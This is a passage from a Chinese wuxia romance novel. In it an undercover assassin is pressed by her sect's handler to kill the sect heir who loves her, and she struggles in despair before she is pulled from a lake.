“说过。”他叹息着,鼻梁蹭着她的鼻梁,一种缱绻的秋后算账,“那时候,我从山下回来,去凌绝阁接你,你不肯回来。我怎么说,你就非要跟他看星星。” 她笑起来,这人记仇呢,“哪有。” “绝对有。” 她眨眨眼,心里清楚,这时候最好撇清一切关系,“我真忘了。就是有,也没放在心上。” 他终于满足地笑了一声,吻了吻她嘴唇。 “今天天气格外好些。朝瑶峰上山雾重,不是时时都能上兰台的。要说山上看星星的去处,再没有比兰台更好的了。” 他道,“我多给你带些驱蚊的香囊,再多带些衣裳。” 在明月阁内躺了一整天,终于傍晚出发,到了夜里,两人上了兰台。 兰台据说是松月老祖当年得神仙点化之地,就是在此,他得“仙人抚我顶”,顿悟了驭珠之法,尊奉仙人口谕,在此开山立派,成为一派宗师。 然而,神话里说的天花乱坠,实际上不过一处漆黑的高崖。崖上一块容人躺卧的石台,落了不知多少落叶落花,下过雨,还积了点水,是万万躺不得的。 明月孤悬,照得山间一片明白显豁。 她看了这简陋偏僻的地方一圈,笑起来,“你们师祖,就在这地方得了点化?” “谁知道是不是呢,或许只是传言罢了。”他走到她身侧,揽过她的肩,“抬头。” 夜幕四合,漆黑的穹顶上,整片铺满了细密的繁星,夜色的黑中无数一点一点的白,仿佛星星拼命从黑夜中往外钻似的。 远处,一条绚烂、耀眼、缤纷的银河,玉带一般,横亘在天上,尽头没入地平线那端起伏的、苍紫色的山谷,消失了。 她屏住了呼吸。 倒确实见过漂亮的星星,但她还不曾见过银河。 山风清冽 甘甜,微微湿润,带着草木的清新味道和露水的香气。 悬崖下,尽是黑压压的密林,树冠仿佛拥挤的花菜,月色下每片叶子都闪着光。 她喃喃道:“确实是很美。” 忽然一件衣裳包住了她的双肩,交叉着将她裹紧了,身后的人抱住她的腰,“冷吗?” “还好。”她理着山风里扬起来的碎发。 顾怀瑾垂首,吻了吻她的肩:“那就好。” 说完,拿了个垫子,放在离悬崖边稍远的地方,回身对她笑,“要不要坐在这里?” 说是让她坐,可是,他却走开了。 她依言坐下,环抱着膝盖,回身望去,“你干嘛?” 却见他从不知什么地方,搬出来两个圆圆的酒坛,月色下笑得清朗: “桃花酿。” “其实,兰台乃是山内圣地,不容亵渎。但我少年时,曾在朝瑶峰居住,那时候突发奇想,偷偷在这里埋了两樽桃花酿。没想到,十年后,还真被我找着了。” 他笑得有点狡黠,眨眨眼,“爹爹若知道,非得气死不可。不过我当时埋这两坛酒,本来也是为了气死他。” 她不禁莞尔。 怎么看,都是循规蹈矩着长大的人,可是竟然有这些调皮心思。 他坐在她身侧,将那酒坛打开了,极其醇厚又带着桃花馥郁的酒香顿时弥漫在空气里,随夜风散去。 他曲起一边膝盖,山风里,垂眸轻哂,姿态很有点倜傥洒脱: “我爹爹顾清尧,除了我娘,其实还有个情人,不知你在山上是否听说过。” 她心里一跳。 一些有意被她活埋进心底不愿去想的东西,因为他这一句话,阴魂不散地复苏了。 第87章 虫鸣啾啾,她拿过他手中酒盏,未待他喝,先抿了一口。 一样的闻着芳香,入口灼辣,轰轰烈烈地点燃了喉管。 她呛咳了一声,顾怀瑾在她背上轻轻拍着。 “他那个情人,最后,就是在这兰台被捕的。问她为什么来这,她说,这是她同我爹爹,最后一段好日子。” 话里的人,正是她此前半夜出去收尾灭迹的,紫睨堂主。 她垂下眼,转着他那个酒盏,没说话。 “自那以后,我爹爹下令封锁了兰台。”他笑着,理了理她的碎发,“所以,上一个来到这的人,还是七八年前的一个细作。” “人迹罕至的地方,害怕吗?” 她不知道心里是什么感受,可是山风好像忽然隔着衣裳,将她吹透了。 就算披着他刚给她围上的披肩,也吹透了。 她沉默不语,长睫仿佛一双惊慌的蝶,扑扇着。 “不用怕。”他笑起来,将她揽过来。 她一时很想依赖他,顺势靠在他身上,恹恹拢紧了披肩。 “那细作前些日子,似乎已经死了。不知怎么,自己跌进了水里,没了命。” 他声音平静如常,似乎她的死,带不起一点波澜。 “不过,等父亲出关时,可能会很难过。” 山风携来一点枯叶的碎屑,吹在她裙摆的衣褶里,她将那枯叶拈出来,捏在指尖。 “为什么?”她轻轻道,“给我讲讲吧。” 他垂下眼睫。 满天繁星,凉风习习,她渐渐歪在他腿上,趴在他盘腿而坐的膝上。 顾怀瑾一下一下,哄孩子似的,在她背上轻拍着: “我娘是昆仑派掌门之女,当年,因为两家知根知底,议了亲。结果成婚之后,两人感情只好了几年,生下我哥哥后,两人便逐渐相看两厌。后来,我爹学成后下山云游,在山下市集里,又认识了一个女子。” “那女子美艳直爽,一身好功夫,路见不平,拔刀相助,我爹爹第一眼就爱上了她。然而她个性桀骜难驯,不论我爹爹如何苦求,始终不愿嫁予他做妾。于是我爹爹回山,对着我母亲说,要休妻。” “结果回了山,才发现,母亲已经又怀了我。我母亲哪里肯。为了这回事,闹得山上鸡飞狗跳,昆仑几乎与天山成仇,最后双方各退一步,说和离可以,但绝不容那女人做掌门夫人。” “事情到这,因为那女子不肯做小,两人原本只得一拍两散。” “这时候,她却怀了身孕。” 他拍着她的后背,声音悠悠: “形势瞬间变了。因着这个孩子,她不得不低了头,嫁入天山。” 她从未听过,极乐堂堂主为了办任务,竟然还为自己的目标怀了孩子。 “不久,不知为何,她小产了。” “我母亲原本以为,凭着她的两个孩子,凭着她背后的昆仑派,她的正妻之位无可动摇。不想,自从那女子小产后,我父亲如同被鬼上身了一般神魂颠倒,日日守在她床榻边,什么也不顾。” “等到那女子身体略微好些,我父亲便又对我母亲提了休妻。” “我母亲自小在昆仑派内娇惯着长大,哪里受过这种委屈,当机立断与我父亲和离了。走之前,连我们两个也没有带走,说是流着我父亲的血的东西,她连看也不想看一眼。” 他轻轻笑着,摊开手掌,看着自己承于母亲的肉身,漫不经心,仿佛说着别人的事。 “我和哥哥就这么被我母亲抛下了。哥哥还好些,至少还由她亲自教养了几年。我?我几乎没有关于她的记忆。便是有,也是她横着眉毛指着我鼻子,叫我‘随顾清尧的东西’。” 她这时方明白,顾怀瑾明明众口称赞,却为何被人冷落也往往忍下,有一个偏爱他的人,便抓住了,不肯松手。 “我父亲爱那女子,山上谁也没有办法。我母亲离了山,他很快就将那女子扶正了。那女子做了掌门夫人,长老们不愿意也得愿意。原本这样下去,风波也就平了。” 他拍着她背的手不知何时停了下来,语调恍惚,仿佛说着前世的事。 “可是,后来才发现,那女子,是个上山来的细作。她上山,本就是为杀我爹爹而来。” 悬崖下漆黑的层叠树影中,忽然响起两声撕心裂肺的鸟啼。 她睫毛颤了颤。 “甚至,”他讥诮笑了起来,“她身份暴露,不是因为杀了我爹爹。而是要下给我爹爹的毒,下给了我哥哥。” 紫睨堂主会犯这么简单的错误? “我哥哥死了。”他感慨,“各位长老喜爱他喜爱得不得了,他样样比我强多了。他死了,众长老哀恸极绝,我爹爹一病不起。但就算这样,也还是没忍心取那女子的性命,只是将她锁上了朝瑶峰。” 朝瑶峰。 她放在他胳膊上的手,缓缓抓紧了。 “但没想到,我那已经和离回了母家的娘亲,听闻我哥哥被毒杀,找了回来,逼我爹爹杀了那女子。” “可是,已经到了这地步,我爹爹仍是不肯杀她。只是,各方压力之下,迫不得已,将那女子打入了逝水牢。” “这般轻放,我娘亲哪里肯。刚上山没几天,丧子之痛叠加家破人亡之悲,活活在天山上气死了。” 她听得心惊肉跳,揉了揉太阳穴。 “自此,我父亲病倒,再也没起来,不得不闭关养病。你是不是以为爹爹闭关是为了武功大进?不是的。是他再不打坐调息,就活不了了。” “至于那女子……就一直关在逝水牢内。当日,爹爹本只想小惩大诫,关她三天。不想,就在逝水牢内,终此一生。” 她趴在他膝上,月亮忽然被山间云翳挡住了,夜色里,什么也看不清。 许久,她道,“那你呢?” “我?”他笑,摸了摸她的头,语气很轻快,“哥哥死了,娘亲死了,爹爹病重闭关,还有谁顾得上我,自然就在山里被慧德罚。” 他的家,他的过去,已经被往生门毁掉。 现在,往生门还要取他的未来。 她闭上眼睛,湿润的山风拂在身上,凉而薄,吹得她冷透了。 “那你……”她想了一瞬,没有问,换了个说法,“如果你碰到这种事,早该杀了她。” 沉默着,等他的反应。 他笑着,“我怎么会碰上这种事。皎皎担心我移情别恋?”手指绕着她的耳坠,叹息,“我简直一刻也离不了你。” 她握住他的手,不容他玩闹,长睫垂着:“我是说,假如你是顾掌门。” 他甚至不曾犹豫:“当然。我怎么可能留她。” 夜露深重,在她长睫上凝了一滴。 她睫毛一颤,那颗露水摔在他衣摆上,碎开了。 他仰起头。 浅紫色的云散去,夜空里复又一片清楚明朗,星星照耀着,他 低低喟叹。 “……父亲总是太心软。我原本同他一样,事事心慈,但这些日子,因为你……”他食指在她颊上蹭了蹭,“因为你,才发觉,这样心善,是行不通的。” 他低下头,呵护她似的,轻轻呢喃: “该处理的人,需得处理。该罚的人,得罚,该杀的人,得杀。不然……” 她听得默然,缓缓从他腿上起来,坐直了身子,两膝合并,避嫌似的躲开他的膝盖。 “……不然受苦的,是我的皎皎。” 他温柔拥住她,阖上眼,侧首在她额角一吻。 她麻木恹恹,面无表情,拢紧了身上的披肩。 “回去吧。”他道,“太凉,你该冷了。” * 明月阁内。 知道她喜欢吃荔枝,顾怀瑾特意着人从峰下送了新鲜的妃子笑上来,在八宝果盘里堆成了一个圆锥。 她自兰台回来,话也没有,神色也厌倦,脸白得如一张宣纸,即便看他一眼,也很快就瞥开。 他心里有点打鼓,哄猫儿似的揉揉她的脸:“怎么了,不大开心?” “没有。”她看向别处,由着他替她脱去披肩。 “怎么没有?”他捧起她的脸,追着她的眼睛,“别糊弄我。你一个眼神,我就知道你想什么。” 你能知道什么? 她勾起一丝微不可见的笑,偏过头,拨开了他的手。 不想面对他,什么都不愿想,但凡一想,每个念头都会刺伤自己。 脑子里装满了绣花针的时候,她喜欢眼睛一闭,睡觉。 她换了寝衣,翻进榻里,背对着他,蜷起膝盖:“困了,睡了。” “先别睡,再说说话吧。”顾怀瑾将墙角的连枝地灯一盏一盏点亮,又去窗前将窗纱四边按得紧了些,复坐回榻侧,俯下身子看她。 烛火一跃一跃,映得他眉骨鼻梁如玉石般立体,他拨了拨她的眼睫: “明天,我须得下山开会,不能在这陪你了。” 她背着烛火,神色看不分明:“嗯。” “你既然说,不必当日往返,那么,我也就不急着赶回来。” 他静静地,等她的答复。 她道:“嗯。” 他失望了。 她总是这样,似乎不见他也可以,没有他也行,有没有他,她都无动于衷。 他思忖了一刻,将丝被缓缓拉上来,覆到她下巴底下。 “山上最近事情多,闹得厉害。恐怕我一下去,要连着开好几天的会,没十天半月回不来。” 他继续期待着她给个答复。 她没说话,又“嗯”了一声。 他的长睫垂下来。 他不想再等了,心里空落落的,慌得厉害,也上了榻,从背后扣住了她的腰,双手搁在她小腹上交握。 “跟我去吧。”他闭上眼,在她长发上轻轻落吻,“跟我下朝瑶峰,回暮雪院住几天。陪我,嗯?” 她阖上了眼。烛火的光影在她漆黑的眼帘里惶惶跳动,变幻莫测,仿佛一个近在眼前的深渊: “我不去了,你自己去吧。” “自己在峰上,不是说害怕?”他抱着她,胸膛将她纤巧的脊背整个拥住,拨开了她的领子,一点一点,吻着她的肩,“只有两个下人,没人陪你,也没有人夜里给你盖被子,凉到了怎么办。听话。” 她不说话。 他心里也明白,不是怕她害怕,是他害怕。 “说话。”他被逼得没办法,吻她的脖子,“跟我下去,乖。” 她是喜欢他磨人的,但是,如今,她不知道放纵他这样低声细语地说情话,究竟对是不对。 这样走下去,前面是什么? “不去了。”她缩着脖子躲开他,却被他按进怀抱深处。 他听见她这三个字,在她颈侧轻咬起来:“不准。” “我不害怕。也没有那么容易着凉。” “不准。”他闭着眼睛,“你夜里总惊醒,睡得浅,我从前每晚要哄你好几遍。你自己不知道?” 她被吻得气喘了起来,被感官控制了后,人总是倦怠慵懒,“我可以不睡。” “你少说胡话。”她不爱惜自己,他最不爱听,每次立马就会恼,“叫人给你做些肉菜补补,不肯吃。明知道自己体寒,不在乎。眼下,连觉又可以不睡了,你是非要我……” 话不再说了,又开口咬她。 含恨的一排牙印。 这回,他咬得还比往常深了些,她一阵吃痛,嘶着气,“怎么总咬人呢……” “跟我下去。”他在她颈侧一吻,“你这性子,我不亲自看着,不放心。” 怎么这样磨人?她回过身看他。 一看,他语气虽然强势,眼神却忐忑含悲,逆着烛光,眼里格外亮,仿佛亟待人摸摸头的小狗。 怎么每次稍微冷落他一点,就这样惴惴难安的。 她默了片刻:“明天再说吧。” “皎皎,”他将她的脸掰过来,阖上眼,“吻我。” 身后连枝地灯的影子,随着烛火,在墙上左右摇摆。 她进退难决。 他闭上眼的样子,长睫翕垂,如面上停了一双蝶,脆弱而虔诚,她心里一颤。 吻了吻他:“睡吧,怀瑾。” 虽然是她先说要睡,可是整个夜里,几乎没有睡着。 她不知在枕头上辗转了多久,月亮自窗外冷冷照进来,照得早上还温暖亲切的一切——他在那里临摹的字帖,她搁在一旁的小毛衣,他随手放在桌上的红毛线——全都沉默森冷,凄凄可怖。 顾怀瑾睡着。他素来睡得比她好些,可是此前,她若醒了,他也会跟着醒。 今日,没发现她醒着,她暗自松了一口气。 她拥着衾被,缓缓坐了起来。 假如她继续拖延下去,还能拖多久? 往生门内,每个任务,有一年的期限。眼下不过刚刚快五个月,她还有一半的时间。 七个月,她说不定已经又摆脱了雾刀,自出山密道出了山。到时,固然是要与顾怀瑾诀别,可是他到底留下一命,已经是最好的、最理想的结局。 倘若不离开他呢? 忽然又想起那时紫睨的话。 “你最好的选择,是留在山上,借天山派庇佑,老老实实地做掌门夫人。” 这话,是不是她因为下毒而功亏一篑,之后的后悔之言? 只是,倘若真做了掌门夫人,天山派又能庇佑她到何种程度呢。 雾刀在山上都可以接任务,天山派的门禁自己挺引以为傲,实际或许已被往生门渗透了个干净。 倘若她一年之期以后,撕下面具,背靠天山派,公然背叛往生门,顾怀瑾自然是会护着她,可是往生门,江湖上人人闻风丧胆,天山派再保她,胜算也不过五分。 若是天山派输了,顾怀瑾一样要死,她落入往生门手里,死得只会比顾怀瑾凄惨千万倍。 假如……她不背叛往生门,背叛顾怀瑾。 阴阳钥在她手里,她随时可以拿到镇山玉牌。顾怀瑾依赖她到了一天见不到面就难受的地步,假如她想取他的命,自然是易如反掌。 如今,她来这里背的任务,对她而言,已经太容易。 只要她想,审录司内她的案卷上,第四个圈,随时可以画上。 只是。 她揉着眉心。 如此简单的事,现在她不愿意做。 她不愿仔细去想为什么 ,怕想明白了就不得不清醒,手指绕着丝被上的一个线头。 最好的办法,还是七个月内,找机会摆脱雾刀,然后不告而别。 她下山,他们天各一方。 雾刀的性子,她是了解的。要敷衍他七个月,她未必做不到。何况还未必需要七个月。 至于顾怀瑾。 他这样相信她,只要她安分守己,好好地演爱他,他几乎不可能怀疑到她身上来。 她打定了主意,捂着心口,长出了一口气。 他仍在熟睡,面朝着她,睡得安稳而平和,呼吸均匀悠长,阖着眼,像个安心的孩子。 顾怀瑾这么依赖她,等到他们分别,他不知要怎样。 她俯下身去,在他眼睫,轻轻落下一吻。 “哎唷,真够恶心的。” 雾刀的嘲弄在耳边响起来。深更半夜的,只闻声,不见人,恶鬼一般的语调。 她听了他的声音就浑身发冷,汗毛直竖,哆嗦起来。 怎么这么巧。 正在她刚刚想着……背叛的时候。 “大半夜的,还没睡。怎么?晚上紫睨的故事,给你听辗转难眠啦?” 她平稳了一下呼吸。天塌下来,她也不会叫雾刀瞧出心虚: “你还没睡?正好,我有事情问你。前堂主怎么会把给顾清尧的毒下给了顾之?” 雾刀笑了一声: “她那药,是为顾清尧量身定做的。顾清尧年轻时曾经遭丹顶门暗算,侥幸捡回一条命以后,有点百毒不侵的意思。那毒,对于顾清尧,是慢毒,叫他日日虚弱下去;对于旁人,是剧毒,一口毙命。他们俩父子情深,爱一口口喂,谁有办法。” “可惜了,还剩下一个姓顾的。他爹爹似乎不怎么喜欢他。不然,一盘菜,没三个一起送走,至少也能送走俩。” 她垂下眼睛,望着熟睡的顾怀瑾,手指动了动。 “为什么非要用慢毒?前堂主尤擅用剑,顾清尧如此信她,她若一剑下去,也没有这些事了。” “那谁知道。”雾刀笑得更得意,“这种事,你得问她。不过,若由我来看,还能是因为什么啊?” 她没说话。 “那女的爱上他了呗。”雾刀笑,“这种事不是常有?因为爱上了,所以就算下手,也不忍叫他眼睁睁看见她背叛,想让他无所觉察地死。如果想停,还能停得下来,有回头路可走。拖着拖着,没等人死,自己先暴露了。” “所以,南琼霜,”他道,“你下手时,要么用剑,要么用你的丝线。其他的,我都算你叛门,别想给我耍花招。” 她闭了闭眼。 床榻另一侧酣睡的人,忽然张开了口:“……皎皎。” 她赶忙看去。 顾怀瑾没醒,只是说梦话。 连梦里,也把她的名字衔在唇边。 雾刀听了他的呢喃,笑了,“这男的是真栽你身上了,我跟着你这么多年,也没见过这么蠢的男人。”语调忽然一转,兴致勃勃,“你说,他若是知道,他爱得要死的那个人,根本没存在过,得是什么表情啊?” 南琼霜心里一凛。 她不是楚皎皎。这世界上,压根没有楚皎皎。 她不是不明白,不过自欺欺人,故意不明白。 “今天我来,还有第二件事。” 她一愣。 雾刀道:“情况有变,门内有新的任务,非要你去不可。这边的事,就先这样吧。” “什么叫‘就先这样’?”她皱眉。 “能办多少办多少,能到哪步算哪步。”他道,“没有镇山玉牌,就先算了。人能杀,先杀人。” “一个月后,订婚之夜,你杀了他,我们一同回往生门复命。” 第88章 那一夜,南琼霜不知道自己究竟是怎么入睡的。 甚至连到底睡没睡着,都不清楚。闭着眼睛,迷迷糊糊,又回到了那日法门寺内。 火海滔天,雕花房梁燃着往下坠落,三十六座金佛置身业火炼狱,面目慈悲,自身难保。 她在大火中央,怔怔地,看着手中那支灵签。 半劫缘。 她将那支灵签,信手丢进火里,转身走开,连看都没有回身看一眼。 抬步,跨过了法门寺高高的门槛。 忽然却听见一道熟悉的声音。 一只手,抓住了她衣袖底下的手,抓得死紧,几乎将她攥得痛了。 顾怀瑾捂着洇出大片血迹的胸口,艰难扶着门框走出来,人伤得连站都站不直,一道直直的血线,自他苍白的唇边,连到下巴。 神色如活尸一般惨白可怖: “皎皎,为什么……” “我那么爱你……我明明那么……” “你为什么……” 她猛然惊醒。 大睁着眼睛,听见窗外早起的山鸟在枝头跳着,鸟鸣清脆。 身后,顾怀瑾仍安稳睡着。夜里睡着睡着,又抱住了她,她整个人被他卷在怀里,动弹不得。 规律的呼吸,喷在她后颈。 她惊魂未定,几乎虚脱了,从他怀里挣扎出来一点,仰着头,呼吸了两口。 “……皎皎?” 他醒了。 他知道她觉浅,怕她睡得不好,老早以前就晚上轻拍着她,哄她睡觉,有蚊子的时候,动不动帮她找一个时辰的蚊子。她常梦魇惊醒,后来她一醒来,他便也跟着一激灵,重新拍着她,哄她睡觉。 但是如今,她不大想受他的好了。 她闭上眼睛,没说话。 顾怀瑾听见她呼吸清浅,以为不过是错觉,腿攀上她蜷起的双腿,又睡了。 她眼角,蓄了点冰凉的水,恍恍惚惚地,又听见了那片火海呼呼的燃烧声,还有那日,众佛见证的,那一声“皎皎”。 为什么要找到她? 他找到她,以为是重逢,是圆满,是失而复得。 其实,是生离死别的开始。 他们明明可以都得救的。 不知过了多久,她又睁开眼睛,已是天光大亮。 顾怀瑾已经起了,在桌边坐着,见她睁开眼睛翻了个身,道,“醒了?” “嗯。”她有意不去看他,“不是今天要下去吗?怎么还没出发。” “你不是要跟我一起下去吗。”他如今已经不想问她的意见,她的意见,他没一次爱听的,“在等你。快起来,收拾收拾。” “我?”她迷茫指了指自己,“我不下去。” 他没说话,一点哧哧的声音,原来是在剥荔枝皮。 八宝果盘里,半透明的雪团子似的荔枝肉,已经堆了一叠,颤巍巍的。 他将最后一颗剥出来,放在那一堆的尖顶上,走去盥洗台旁,洗了洗手。 拿着那果盘走到她面前,神色未动,“快吃吧,吃完我们下去。” “我不下去。” 他不接话,将那果盘放在床头柜上,走到桌前描字帖。 不答话,就是拒绝。 她才发现,此前一直逼他强迫她,结果现在这人已经习惯了这种强势,有些事情,渐渐不由她。 她道:“……一到下面去,所有人都好奇我,我到哪,都被人追着看,我不自在。” “现在不会了,他们不敢。”他道,“等订了婚,掌门夫人的名分坐实了,更无人敢探头探脑地看你。” “……而且,下面全是机关,我想出去走走,都不安全。” “你以为,朝瑶峰上,就你一个人,随便走走,很安全吗。”他对外头候着的丫鬟流素道,“伺候夫人更衣。” 她倒吸了一口冷气。 虽然,他如今这种强硬口气是她一手培养,她怨不得谁,但是,他这样不由分说,她也不大习惯。 不论如何,她现在必须得退开一步,冷静想想接下来的形势,权衡利弊。 只要他不在她眼前,她就没有那么容易动摇。 “我真的不想去。朝瑶峰好高,我上下一次怕得不行,我又不是你们。” 她一服软,顾怀瑾的神色果然松动一瞬,手里的笔停下了。 她眼神示意流素出去,门被流素缓缓关上,她走过去,抱着他胳膊,靠在他身上: “你要下去,就早点回来,我在这里等你,好不好?” 他垂着长睫,还是不说话。 “好不好嘛。”去摇他的袖子。 顾怀瑾心烦意乱地叹了口气。 她知道他等着听什么,眼下没心思逗他,投其所好: “我说不想你,是骗你的。怎么会不想你?只是这么高的地方,你为了见我,单日往返,实在太折腾了。万一受什么伤怎么办?” 他看着写了一半的字帖,不作声。 “朝瑶峰,对我来说实在太高了。上来的路,我往下一看就眼晕。几天之内反复折腾,我真的受不了。我不下去了,好不好?你们习武的,就算本领大,也要小心些,不至于为了每日见面,自己冒那么大的风险,我不心疼么。” 他将笔搁下,掐着眉心。 再开口的时候,声音很干涩: “既如此,把你的东西,带一两件给我。” 她一愣,“东西?” “随便什么。帕子、衣裳,对了,就你的枕头吧。”他道,“我抱着睡觉。” 她忽然想起雾刀说,她掉下瀑布的那些日子,他一直闻着她的衣服睡觉。 这人怎么…… 多大的人了,天天抱着她闻,仿佛小孩抱玩偶似的。 他把她拉过来,领子拨开,从背后用唇蹭她的肩: “你不在我身边,我总不安,总觉得你要去哪似的。” “我能去哪。”她笑,“快去吧,早去早回。” 顾怀瑾终于依依不舍地下去了,整个朝瑶峰上,除了一个丫鬟流素,一个侍仆阿进,就只有些僧人道士,再无旁人。 人越少,越清净,想事情便越发清晰。 明月阁前,有一片山间水泽,月亮一照,夜里波光粼粼。 顾怀瑾知道她喜欢水,在那湖泊旁给她支了一个水上秋千。 今日没有他在身后帮她推秋千,她赤着脚,踩着岸边,往湖水中荡去。 这一片湖,原本就是山巅冰雪融化后汇聚而成,又是夜里,两脚往水中一浸,一阵刺骨的冷。 她喜欢那种冷,冰到痛。或许身子冷些,神智便能更清醒。 顾怀瑾如果知道,定然要生气,但他不在,管他呢。 秋千悠悠荡着,她悠悠地想。 务必在一个月内做一个抉择,那么,或许,她来不及下山了。 一个月,她未必有上回那么巧,可以摆脱雾刀。 那么,她眼前的路,其实只剩下两条。 要么,背叛往生门。 或者,背叛顾怀瑾。 背叛往生门,胜算也只有五分,好处是可以安心在山上过闲散日子,谈情说爱,在天山派倒了之前,她几乎不会有事。 即便往生门的手伸进了天山,要暗算她,也未必十分容易。 坏处是,往生门毕竟手眼通天,或许什么时候,她也会如顾之一般,死得不明不白。 倘若天山派倒了,顾怀瑾还是要死,至于她,会比他死得凄惨千万倍。 倘若背叛顾怀瑾,那就容易得多了。她取他的命和镇山玉牌,几乎不费吹灰之力。 只是,任务成功后,回到往生门内,又要过从前的日子。 被派出去,辗转在男人之间,奉承讨好,挑拨离间,绞尽脑汁地投其所好。 为了谋得一颗心,不择手段,即便被其他女人妒忌陷害,也得忍下,即便被男人们当个物件一样拼命争抢,无人尊重,也要站在中间,谄媚赔笑。 被男人迷恋,但鲜少被当个人看,那种日子,她过得恶心,早已受够了。 何况,她的第五个任务,还不知道办不办得成。即便成功,还不知道往生门是否会如约放人。 假如横竖都不乐观,不如选至少现在少些苦头的路。何况天山派,已经在江湖上存在了三百年,根基已稳,未必不能与往生门碰一碰。 冥思苦想得出的结论,是那个对她而言更轻松的答案,她略微放下心。 并不是她自欺欺人。想来想去,客观地讲,确实是这样做更好。 她舒了一口气,足尖刮破湖面,带起一连串轻巧的水珠。 雾刀:“你打算怎么杀他?在哪?什么法子?” 她霎时毛骨悚然。 最近,他怎么总在她想着背叛的时候出来,是否太巧了。 这么巧,或许雾刀已经猜出几分她的心思。 她道:“门内给的期限是一个月。一个月后,我们刚好订婚,趁那个时候动手。” “很好。”他道:“门内告诉了我一条出山的密道,就在含雪峰之下。那含雪峰上有一座兰阁禁地,人迹罕至,你最好把他引过去,在那动手。之后,我们直接下山复命。” “好。”她将脚一下没入湖水,水冰得她酸痛,她却觉得爽,“我这回下去,第四个任务就算完了。” “完了?”雾刀笑了一声,“怎么能算完了,你只做了一半。杀了人,但没有镇山玉牌——所以,门内说了,案卷上只能画半个圈。” 她愕然循着声音方向望去。 整个水泽周围,凄寒荒冷,没有第二个人。 “是门内叫我回去的。倘若再给我些时间,镇山玉牌我也拿到了。这也要算在我头上?” 雾刀笑:“你是在同审录司讲道理吗?咱们门内自你幼时抚育你,培养你,叫你有一口饭吃,已经是莫大的恩德。” 嘻嘻笑着:“你这是报恩。该做的。” 放屁。 早晚有一天,她会把这些人全杀光。 往生门不会守信,她就知道。 幸好,她还有第二条路可走。 “不过,你也算心志坚定的。要搁别的女人,被那个姓顾的这么宠着,估计早叛逃了吧。” 她没说话,攥着绳子的手越抓越紧。 突然提这个话头,雾刀是已经看穿了她。 “……毕竟,”他叹息,“咱们门内,也不给剥荔枝,也不给看大夫,冷了也没人管,死了更不会找,真是拿人当牲口使。对不对,南琼霜?” 她浑身一片冰凉,冻得麻了,发起抖来。 “你少放屁。少在这里疑神疑鬼,说了多少次了!” “你最近跟他,蜜里调油啊。小手牵的,分都分不开。” 远处湖泊边,不知何时站了一个长身的黑影,仿佛黑夜里窥伺她已久的野兽,终于咻咻嗅着,到她面前,呲出獠牙。 “感情真好。那个姓顾的,一刻也离不开你,整天亲啊亲啊。” 他抱着肩膀,月色底下逆光盯着她,仿佛候在久病之人床边,唯有病人看得见,只待人死便索魂的黑无常: “你说,假如他知道,他爱的那个人,从头到尾,都是假的,他会怎样?” “假如他知道,她本名是南琼霜,她是一个细作,她来,便是为了杀他——他会怎样?” 南琼霜控制不住地哆嗦起来,骨头和骨头相互撞击,身体里面咯吱作响。 “假如,一个月后,你没有做你该做的事,南琼霜——” 夜色里,那个从头黑到脚的悚人的影子,唇角勾起来,两排白森森的齐整的牙。 “——我会把你的身份,告诉他。” 第89章 事情到此,已经再清楚不过。 她必须杀了他。 再反应过来的时候,她已经从秋千掉进了水里。湖水冰寒刺骨,淹没她整个身体,她木然沉下去,甚至,那不是沉进水里,而是筋疲力竭,连水都想借力靠一靠。 雾刀狞笑着,消失了。 她闭着眼睛,湖水撕咬着四肢百骸。 好冷啊,顾怀瑾看见,非要生气不可。 顾怀瑾。 她不知道她为什么这么难过,这样的结局,她从见到他第一天开始,就已经知道,为什 么到了现在,还会难过。 不是早就知道的吗? 湖水冻得她浑身剧痛,脑子发麻,她仰起头,缓缓吐出一口气。 夜色里,一点白霜。 她什么都不敢多想了。面前的路只剩下一条,蒙着眼睛走也得走,痛到死也要走。 不然呢?死吗? 大多数时候,她最不愿想的,就是死。 她活得那样不易,每一步怎么咬着牙流着血走过来的,她自己最清楚。 她凭什么为了别人放弃这条命。 但是。 为什么她要活,他就必须死。 他们两个,究竟上辈子做了什么坏事,这辈子,要受这种报应? 她缓缓向后靠在水里,身上已经冻得麻痹了,迷迷糊糊闭上眼,听见体内心脏,嗵嗵嗵地跳,一拍急似一拍。 逼她。催她。连她的心脏,现在都要催她。 为什么?到底为什么? 湖水淹没了她的鼻子,她骤然呛了一口,那水太凉,不仅呛得她鼻腔酸痛,还顺着鼻子一直冰进脑袋。 她连嘴里的舌头都渐渐冻麻了,嘴唇不受控制地哆嗦起来,月色里,仰起头,快窒息了一般大口吐气。 好累啊。这么多年,她真的好累啊。 这种事情,这些——烂事,到底什么时候结束啊。什么时候——可以不杀人啊。 她怕雾刀发现她流泪,吸了一大口气,扎进湖水里。 月光无法将水照得透澈,水底下,一片漆黑。 黑是好的。就一直黑下去、暗下去,黑暗到——什么都看不见吧。 太阳永不升起,她就这样漂在水里,永不醒来。 ——为什么又想到死了? 她在水里,缓缓地、缓缓地,闭上眼睛。 岸边,阿进抱着一大摞公文,正欲送到明月阁内,余光一瞥,竟见圆月底下,碎光闪动的湖中,有一个隐隐约约的人影。 他眯起眼睛,仔细辨认。 格外美丽的人,少掌门特意挑选的珠花、少掌门早上亲手挽的发髻、少掌门特意着人用雪蚕缎打的衣裳。 少掌门宝贝得不得了的,那位夫人。 他吓得眼珠子差点蹦出来。 “夫人!夫人!”他匆匆把公文堆到脚边,撸起袖口,一个猛子扎进湖里,扑腾扑腾两下到了她身边,“夫人怎么落水了!夫人!夫人!” 阿进胆子小,破锣嗓子,两下给她喊得清醒了些,她道:“怎么了……” “救命啊!救夫人!流素!!!” 南琼霜:…… 她无法,跟着游了两下,一路漂去了岸边:“不必惊慌,我是会水的。” 阿进继续咆哮:“啊!!流素!!救夫人!!!” 她实在没办法,阿进这两嗓子,也将她从情绪中捞了出来,她扶着阿进,上了岸。 到了岸上,人几乎折断。 她这时才感觉到,在冰水里,不顾身体泡了那许久,到了岸上,人是麻的。腰支撑不了上身,膝盖支撑不了腿,眼睁睁看着碎石砂砾越来越近,阿进一把拉住她,没让她摔在地上。 她跪坐在地上,碎发滴着水珠,缓了许久。 流素狂奔着取来了她的外衣,围在她身上,吓得泪流满面: “夫人受惊了没有?奴婢这就派人去下面报信。” “别去。”她拢着衣领,“他听了准要赶回来。一点小事。” 流素年纪小,不敢顶嘴,迟疑着与阿进对看了一眼。 “那,那奴婢伺候夫人去芙蓉泉内泡一泡。这样冰凉的水,若是给夫人冻坏了……”她泪眼婆娑,眨着眼睛,不敢说下去。 南琼霜闭了闭眼,“不必,我没事。扶我回去吧。” 回了明月阁内,更煎熬。 